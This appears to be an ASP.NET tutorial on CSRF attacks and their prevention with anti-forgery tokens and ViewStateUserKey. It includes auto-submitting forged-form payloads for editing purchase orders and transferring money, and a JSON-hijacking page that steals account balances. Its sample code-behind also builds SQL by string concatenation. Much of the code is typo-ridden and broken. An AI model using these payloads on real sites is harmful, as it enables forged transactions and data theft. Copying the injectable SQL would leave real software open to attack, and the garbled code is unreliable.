CSRF Attack and Its Prevention Mechanism

A Cross Site Request Forgery (CSRF) attack is less well known but equally as dangerous as a Cross Site Scripting(XSS) attack. CSRF attacks break the trust between a Website and the web browser of an authenticated user. Web applications or services that store user's authentication information in session or cookies are vulnerable to CSRF attacks.

CSRF

The CSRF attack breaks the trust user authentication and allows hackers to make a request on their behalf. Once the hacker finds the low false in your web application or website then he/she modifies your web pages by injecting some malicious code into the web page by saving it as a different web page. Unless the session is in active state he/she can run the created malicious page on top of the actual web page because the browser will automatically send the cookies or credentials and the server will depend on that browser until that session expires.

Malicious examples,

Example 1

Using ASP.NET Web Forms,

Actual view source code

  1. <!DOCTYPE html>  
  2. <html>  
  3.   
  4. <head>  
  5.     <title>CSRF Example</title>  
  6. </head>  
  7.   
  8. <body>  
  9.     <form id="formEditPOAttack" method="post" action="EditPOAttack.aspx">  
  10.         <div class="aspHidden">  
  11.             <input type="hidden" id="__VIEWSTATE" name="__VIEWSTATE" value="y21xfOixW2WT6R2oKP53ub88uhPWcwKnDcDGlw20xjg8TYUqMZLm1PHyNRr7l1O6gVpA4DIq2vKiOHT1SXgdHNXeXvFolSQbb9LMwVNL8vw=" />  
  12.         </div>  
  13.         <div>  
  14.             <table class="auto-style1">  
  15.                 <tr>  
  16.                     <td class="auto-style2"> </td>  
  17.                     <td> </td>  
  18.                 </tr>  
  19.                 <tr>  
  20.                     <td class="auto-style2">PO Type</td>  
  21.                     <td>  
  22.                         <select name="ddlPOType" id="ddlPOType">  
  23.                             <option selected="selected" value="0">-- Select --</option>  
  24.                             <option value="1">PO 1</option>  
  25.                             <option value="2">PO 2</option>  
  26.                             <option value="3">PO 3</option>  
  27.                             <option value="4">PO 4</option>  
  28.                             <option value="5">PO 5</option>  
  29.                             <option value="6">PO 6</option>  
  30.                         </select>  
  31.                     </td>  
  32.                 </tr>  
  33.                 <tr>  
  34.                     <td class="auto-style2">Description</td>  
  35.                     <td>  
  36.                         <textarea name="txtDescription" rows="2" cols="20" id="txtDescription"></textarea>  
  37.                     </td>  
  38.                 </tr>  
  39.                 <tr>  
  40.                     <td class="auto-style2">Amount</td>  
  41.                     <td>  
  42.                         <input name="txtAmount" type="text" id="txtAmount" />  
  43.                     </td>  
  44.                 </tr>  
  45.                 <tr>  
  46.                     <td class="auto-style2"> </td>  
  47.                     <td>  
  48.                         <input type="submit" name="btnUpdatePO" value="Update" id="btnUpdatePO" />  
  49.                     </td>  
  50.                 </tr>  
  51.                 <tr>  
  52.                     <td class="auto-style2"> </td>  
  53.                     <td>  
  54.                         <span id="lblMessage" style="color:Red;"></span>  
  55.                     </td>  
  56.                 </tr>  
  57.                 <tr>  
  58.                     <td class="auto-style2"> </td>  
  59.                     <td> </td>  
  60.                 </tr>  
  61.                 <tr>  
  62.                     <td class="auto-style2"> </td>  
  63.                     <td> </td>  
  64.                 </tr>  
  65.             </table>  
  66.         </div>  
  67.         <div class="aspNetHidden">  
  68.             <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="F51C06CD" />  
  69.             <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="HRPE+8/w1yrPHWshG4s0BSk+YO0hz/Rp8t/kMhPXcaPXHLwtDD24RjxGd2QX71MEFiUO1hCBS0F4gQgAkmARvLCkAIZsOKAflJsZ03dKlJYwnFdkMTITq8brL3q7ClYOnqyKZngI5pH+l8BcGHzrDddwyQZX6SoXIuMOyGEKzqq1VEUwVvpdAm/50w6fFYS0q0jvO9R7gvGdjUVBxwoIf1HuWiyezjGYi4Mv+INC/EUJeELk5RChth9UXeND+83nlv3ziXe3MxRJKcC+mqcKDXNtZLOvUsRr4h9yfOx7LRJNdh13jRPWd1dYkt+5/WRU" />  
  70.         </div>  
  71.     </form>  
  72.   
  73.     <!-- Visual Studio Browser Link -->  
  74.     <script type="application/json" id="__browserLink_initializationData">  
  75.     {  
  76.         "appName""Internet Explorer",  
  77.         "requestId""81b407be11574d37ab9969005ddb1c2f"  
  78.     }  
  79.     </script>  
  80.     <script type="text/javascript" src="http://localhost:53406/2621fc94f4664dd5bf3707c960dce1ed/browserLink" async="async"></script>  
  81.     <!-- End Browser Link -->  
  82. </body>  
  83.   
  84. </html>  
If your Web Form code is not handled for CSRF attack then the hacker will take the opportunity to inject some malicious code into your application.

The above code snippet “__VIEWSTATE”, “__EVENTVALIDATION” and “Form id” which are highlighted in yellow color, are more than enough to inject some malicious code into your application.

CSRF malicious Web Form source code

With the reference of the above code, the hacker will replace all input controls with hidden fields except button controls by keeping the control id as same.

Actual controls
  1. <select name="ddlPOType" id="ddlPOType">  
  2.     <option selected="selected" value="0">-- Select --</option>  
  3.     <option value="1">PO 1</option>  
  4.     <option value="2">PO 2</option>  
  5.     <option value="3">PO 3</option>  
  6.     <option value="4">PO 4</option>  
  7.     <option value="5">PO 5</option>  
  8.     <option value="6">PO 6</option>  
  9. </select>  
  10. <textarea name="txtDescription" rows="2" cols="20" id="txtDescription">  
  11. </textarea>  
  12. <input name="txtAmount" type="text" id="txtAmount" />  
Replaced with hidden fields to inject malicious code,
  1. <input type="hidden"name="ddlPOType"value="2"/>  
  2. <input type="hidden"name="txtDescription"value="Injected malicious code by Hacked"/>  
  3. <input type="hidden"name="txtAmount"value="999"/>  
If you observe in the actual source code we have a button control which is actually serving the form submit request.
  1. <inputtype="submit"name="btnUpdatePO"value="Update"id="btnUpdatePO"/>  
The hacker will keep the button control as it is in his/her CSRF malicious code and he/she will write JavaScript code to call the click event. A sample piece of code to call the button event is below.
  1. <scripttype="text/javascript">  
  2.    document.form1.submit();  
  3.    document.getElementById("btnUpdatePO").click();  
  4. </script>  
Code snippet for code behind event for “btnUpdateDetails” button control.
  1. protected void btnUpdatePO_Click(object sender, EventArgs e)  
  2. {  
  3.     try  
  4.     {  
  5.         SqlConnection con = newSqlConnection(@ "User ID=test;Password=test123;Database=testDB;Data Source=12345");  
  6.         con.Open();  
  7.         stringsql = "update PODETAILS set DESCRIPTION ='" + txtDescription.Text + "'where PONUMBER = 1";  
  8.         System.Data.SqlClient.SqlCommandcmd = newSqlCommand(sql, con);  
  9.         cmd.ExecuteNonQuery();  
  10.         lblMessage.Text = "Hacker injected some malicious code...";  
  11.     }  
  12.     catch (Exception ex)  
  13.     {  
  14.         lblMessage.Text = "Hacker injected some malicious code";  
  15.     }  
  16.     finally  
  17.     {  
  18.         //   
  19.     }  
  20. }  
Complete CSRF malicious code snippet as below.
  1. <!DOCTYP EhtmlPUBLIC"-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <htmlxmlns="http://www.w3.org/1999/xhtml">  
  3.   
  4.     <head>  
  5.         <title></title>  
  6.     </head>  
  7.   
  8.     <body>  
  9.         <form name="formEditPOAttack" method="post" action="http://localhost:62111/EditPOInjection.aspx?PID=1">  
  10.             <input type="hidden" name="ddlPOType" value="2" />  
  11.             <input type="hidden" name="txtDescription" value="Injected malicious code by Hacked" />  
  12.             <input type="hidden" name="txtAmount" value="999" />  
  13.   
  14.             <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />  
  15.             <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />  
  16.             <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="y21xfOixW2WT6R2oKP53ub88uhPWcwKnDcDGlw20xjg8TYUqMZLm1PHyNRr7l1O6gVpA4DIq2vKiOHT1SXgdHNXeXvFolSQbb9LMwVNL8vw=" />  
  17.   
  18.             <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="HRPE+8/w1yrPHWshG4s0BSk+YO0hz/Rp8t/kMhPXcaPXHLwtDD24RjxGd2QX71MEFiUO1hCBS0F4gQgAkmARvLCkAIZsOKAflJsZ03dKlJYwnFdkMTITq8brL3q7ClYOnqyKZngI5pH+l8BcGHzrDddwyQZX6SoXIuMOyGEKzqq1VEUwVvpdAm/50w6fFYS0q0jvO9R7gvGdjUVBxwoIf1HuWiyezjGYi4Mv+INC/EUJeELk5RChth9UXeND+83nlv3ziXe3MxRJKcC+mqcKDXNtZLOvUsRr4h9yfOx7LRJNdh13jRPWd1dYkt+5/WRU" />  
  19.             <input type="submit" name="btnUpdatePO" value="Update" id="btnUpdatePO" />  
  20.         </form>  
  21.         <script type="text/javascript">  
  22.         document.form1.submit();  
  23.         document.getElementById("btnUpdatePO")  
  24.             .click();  
  25.         </script>  
  26.     </body>  
  27.   
  28. </html>  
If you observe the above CSRF malicious code snippet; there is a match which is highlighted with yellow color taken from the actual source code and all input fields are replaced with hidden fields with actual control ids.

Now the hacker can place the above CSRF attack code snippet in a different file with extension “.html” file and execute this file on top of the actual web page to inject some malicious code. When the hacker will execute the above CSRF malicious code then the code behind event for “btnUpdatePO” button control will be called with injected controls value and will be saved into your database.

Example 2

CSRF is attached for MVC application,

Let's say you have created an MVC view to transfer some amount to an account number. Let's say your action method return type is “ActionResult”. Sample code snippet is below, 
  1. [HttpPost]  
  2. public ActionResult Transfer(intdestinationAccountId, double amount)  
  3. {  
  4.     string username = UserDetails.Identity.Name;  
  5.     Account accDetails = _context.Accounts.First(a => a.Username == username);  
  6.     Account destination = _context.Accounts.FirstOrDefault(a => a.Id == destinationAccountId);  
  7.     accDetails.Balnce -= amount;  
  8.     destination.Balnce += amount;  
  9.     _context.SubmitChanges();  
  10.     returnRedirectToAction("Index");  
  11. }  
If the action method return type is “ActionResult” then the HTML code snippet for CSRF attack is below,
  1. <!DOCTYPEhtml>  
  2. <html>  
  3.   
  4. <head>  
  5.     <title>Money Transfer Ex</title>  
  6. </head>  
  7.   
  8. <body>  
  9.     <form name=" formMoneyTransfer" method="post" action="http://localhost: 62111/Home/Transfer">  
  10.         <input type="hidden" name="destinationAccId" value="2" />  
  11.         <inputtype="hidden" name="amt" value="1002" />  
  12.     </form>  
  13.     <script type="text/javascript">  
  14.         document.formMoneyTransfer.submit();  
  15.     </script>  
  16. </body>  
  17.   
  18. </html>  
Example 3

CSRF attaches when we use MVC application,

Let say we have created a MVC view to transfer some amount to an account number. Let say your action method return type is “ActionResult”. Sample code snippet is below.
  1. public JsonResultAdminBalnces()  
  2. {  
  3.     var balnces = from account in _context.Acounts  
  4.     select new  
  5.     {  
  6.         Id = account.Id,  
  7.             Bal = account.Balnce  
  8.     };  
  9.     return Json(balnces, JsonRequestBehavior.AllowGet);  
  10. }  
If the action method return type is “JsonResult” then the HTML code snippet for CSRF attack is below,
  1. <html>  
  2.   
  3. <head>  
  4.     <title></title>  
  5. </head>  
  6. <body style="float: left">  
  7.     <div id="ids" style="width: 102px; float: left;"><b>IDs</b></div>  
  8.         <div style="width: 102px; float: left;" id="balnces"><b>Balnces</b></div>  
  9.   
  10.             <script type="text/javascript">  
  11.                 var balances = document.getElementById("balnces"); var ids = document.getElementById("ids"); Object.prototype.__defineSetter__('Id', function(obj) { ids.innerHTML += '<br />' + obj; }); Object.prototype.__defineSetter__('Balnce', function(obj) { balnces.innerHTML += '<br />' + obj; });  
  12.             </script>  
  13.             <scrip ttype="text/javascript" src="http://localhost: 62111/Home/AdminBalnces"></script>  
  14.         </div>  
  15.      </div>  
  16. </body>  
  17.   
  18. </html> 
CSRF prevention mechanism in ASP.NET applications

In ASP.NET applications the CSRF vulnerabilities prevention mechanism is provided by .NET framework using anti-forgery tokens. Anti-forgery tokens are generated for each user session and they are included in each request made to the server as hidden fields, so it is a double validation made in the server using user authentication and with the anti-forgery token.

Let's see now how anti-forgery tokens are used in different contexts in ASP.NET applications.

CSRF prevention in Web forms

In web forms we can prevent CSRF attacks using anti-forgery tokens with EnableViewStateMac attribute and using ViewStateUserKey property field to store a unique identifier per user session. ViewStateUserKey field's value can be filled in web pages' Page_Init method or in web application's master page or in pages' OnInit method.

Sample code snippet,
  1. protected override void OnInit(EventArgs e)  
  2. {  
  3.     if (!this.Page.EnableViewStateMac)  
  4.     {  
  5.         thrownewInvalidOperationException(  
  6.             "MAC is not enabled for the page and the view state is therefore vulnerable to tampering.");  
  7.     }  
  8.     ViewStateUserKey = Session.SessionID;  
  9.     base.OnInit(e);  
  10. }  
  11. private conststr ingAntiXsrfToenKey = "__AntiXsrfToken";  
  12. private conststr ingAntiXsrfUserNmeKey = "__AntiXsrfUserName";  
  13. private string _antiXsrfToenValue;  
  14. protected void Page_Init(object sender, EventArgs e)  
  15. {  
  16.     // The below code helps to protect from XSRF attacks  
  17.     varrequestCookie = Request.Cookies[AntiXsrfToenKey];  
  18.     GuidrequestCookieGuidValue;  
  19.     if (requestCookie != null && Guid.TryParse(requestCookie.Value, outrequestCookieGuidValue))  
  20.     {  
  21.         // Use the Anti-XSRF token from the cookie  
  22.         _antiXsrfToenValue = requestCookie.Value;  
  23.         Page.ViewStateUserKey = _antiXsrfToenValue;  
  24.     }  
  25.     else  
  26.     {  
  27.         // Create new Anti-XSRF token and assign to the cookie  
  28.         _antiXsrfToenValue = Guid.NewGuid()  
  29.             .ToString("N");  
  30.         Page.ViewStateUserKy = _antiXsrfToenValue;  
  31.         varresponseCookie = newHttpCookie(AntiXsrfToenKey)  
  32.         {  
  33.             HttpOnly = true,  
  34.                 Value = _antiXsrfToenValue  
  35.         };  
  36.         Response.Cookies.Set(responseCookie);  
  37.     }  
  38. }  
  39. protected voidPage_Load(object sender, EventArgs e)  
  40. {  
  41.     intuserId = 0;  
  42.     if (Request.QueryString["PID"] != null)  
  43.     {  
  44.         intpoID = Convert.ToInt32(Request.QueryString["PID"]);  
  45.         if (!IsPostBack)  
  46.         {  
  47.             if (Session["userId"] == null)  
  48.                 Session["userId"] = Request.QueryString["USERID"];  
  49.             userId = Session["userId"] != null && Session["userId"].ToString() != "" ? Convert.ToInt32(Session["userId"].ToString()) : 0;  
  50.             if (validateUser(userId, poID))  
  51.                 GetPoByID(poID);  
  52.             else  
  53.                 lblMessage.Textt = " PO id is not mapped to the logged in user...";  
  54.         }  
  55.     }  
  56. }  
After applying the above code snippet either in master page or in our pages' OnInit method, if the hacker tries to inject CSRF malicious code then the output will be as below,

error

CSRF prevention techniques in ASP.NET MVC and/or with Web API application

In ASP.NET MVC and Web API applications, .NET framework facilitates the creation and validation of anti-forgery tokens.

For creating anti-forgery tokens, we can use the @AntiFogery.GetHtml() method in Razor pager or the @Html.AntiForgeryToken() method in MVC views.

For validation we can use @AntiForgery.Validate method or we can include a ValidateAntiFogeryToken attribute in MVC controllers action or we can apply MVC controller level.

If you want to extend the built-in functionality provided by .NET framework then you can use IAntiFogeryAdditionalDataProvider to add additional information to the generated tokens to make a validation as per our need.

Note

In my given examples, a few HTML tags, attributes and C# reserved keywords may match online. Please consider it.

Up Next
    Ebook Download
    View all
    Learn
    View all